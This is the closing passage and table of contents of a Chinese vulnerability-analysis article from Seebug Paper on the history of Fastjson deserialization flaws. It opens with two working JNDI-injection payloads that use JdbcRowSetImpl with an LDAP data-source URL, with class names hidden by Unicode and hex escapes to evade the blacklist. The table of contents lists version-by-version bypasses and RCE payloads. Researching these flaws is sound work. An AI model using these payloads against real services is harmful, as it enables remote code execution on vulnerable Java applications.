{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类，似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单，可以看下这个项目，跑到1.2.62版本了，跑出来了大多数黑名单，不过很多都是包，具体哪个类还得去包中一一寻找。

参考链接

太多了，感谢师傅们的辛勤记录。

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1192/

作者：江 | Categories:漏洞分析 | Tags: 反序列化漏洞

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Fastjson 反序列化漏洞史

Fastjson解析流程

Fastjson 样例测试

1.1.157测试

JSON.parse(serializedStr)

JSON.parseObject(serializedStr)

JSON.parseObject(serializedStr, Object.class)

JSON.parseObject(serializedStr, User.class)

1.2.10测试

1.2.25测试

1.2.42测试

1.2.61测试

Fastjson漏洞版本线

ver<=1.2.24

com.sun.rowset.JdbcRowSetImpl利用链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

ver>=1.2.25&ver<=1.2.41

ver=1.2.42

ver=1.2.43

ver=1.2.44

ver>=1.2.45&ver<1.2.46

ver=1.2.47

ver>=1.2.48&ver<=1.2.68

ver=1.2.68

探测Fastjson

dnslog探测

一些RCE Payload

参考链接

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漏洞分析

`ver>=1.2.45&ver<1.2.46`

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